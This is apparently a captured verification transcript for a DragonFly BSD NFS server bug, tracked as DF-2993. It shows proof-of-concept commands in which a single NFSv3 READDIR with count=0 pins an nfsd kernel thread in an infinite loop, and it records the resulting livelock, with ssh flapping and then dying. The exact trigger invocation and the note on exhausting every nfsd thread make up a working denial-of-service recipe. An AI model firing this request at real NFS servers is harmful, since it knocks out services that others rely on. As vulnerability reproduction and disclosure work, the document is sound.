DF-2993 run transcripts (two independent reproductions, captured during verification)
guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 X86_64_GENERIC (INVARIANTS), nfsd -u -t -n 4,
       /tmp/nfsroot exported -maproot=root, vfs.nfs.nfs_privport=1 (client used srcport<1024)

=== RUN 1 (pre-reset guest) ===
$ FH=$(NFSPOC_SRCPORT=801 /tmp/nfspoc mount | tail -1)
FH=25ff63890b000000140000000300000000000000278198da00000000
$ /tmp/nfspoc readdir $FH 8192 1
readdir(count=8192)[0]: reply OK                      <- control: fh valid, normal READDIR fine
$ NFSPOC_SRCPORT=802 NFSPOC_TIMEOUT=4 /tmp/nfspoc readdir $FH 0 1   <- TRIGGER
   (the ssh chain hung; tool timeout 120s; a follow-up `vm.sh run_root 'echo ALIVE'`
    timed out with rc=124 and `vm.sh status` reported DOWN; serial console showed
    NO panic text — hard livelock. This run also ran `procstat -kk` on the nfsd
    processes, which may have contributed to the total loss of the console.)

=== RUN 2 (post-reset guest, console-instrumented) ===
Console (via /dev/console redirect, visible in vm.sh log):
  NULL: reply 24 bytes in 0.0001s
  --- TRIGGER readdir count=0 ---
  <silence>          <- the console writer subshell was never scheduled again

ssh liveness after trigger:
  attempt 1: "Connection timed out during banner exchange" (rc=124)
  attempt 2: A3 (rc=0)                                  <- flapping, intermittently alive
  attempts 3-7: rc=124/rc=255                            <- then consistently dead
  vm.sh status: up (guest VM running, all services starved)

Interpretation: ONE v3 READDIR with count=0 pins one nfsd kernel thread in an
infinite loop inside nfsrv_readdir (holding slp->ns_token), spinning in kernel
mode at full rate (VOP_READDIR + kmalloc churn per iteration). The unbounded
kernel spin starves userland: console writers stop, sshd flaps and then dies.
No panic signature — pure livelock DoS. With N nfsd threads, N requests pin
all of them and the NFS socket service is dead permanently (no signal can
reach the spinning thread; it never leaves the nfssvc dispatch).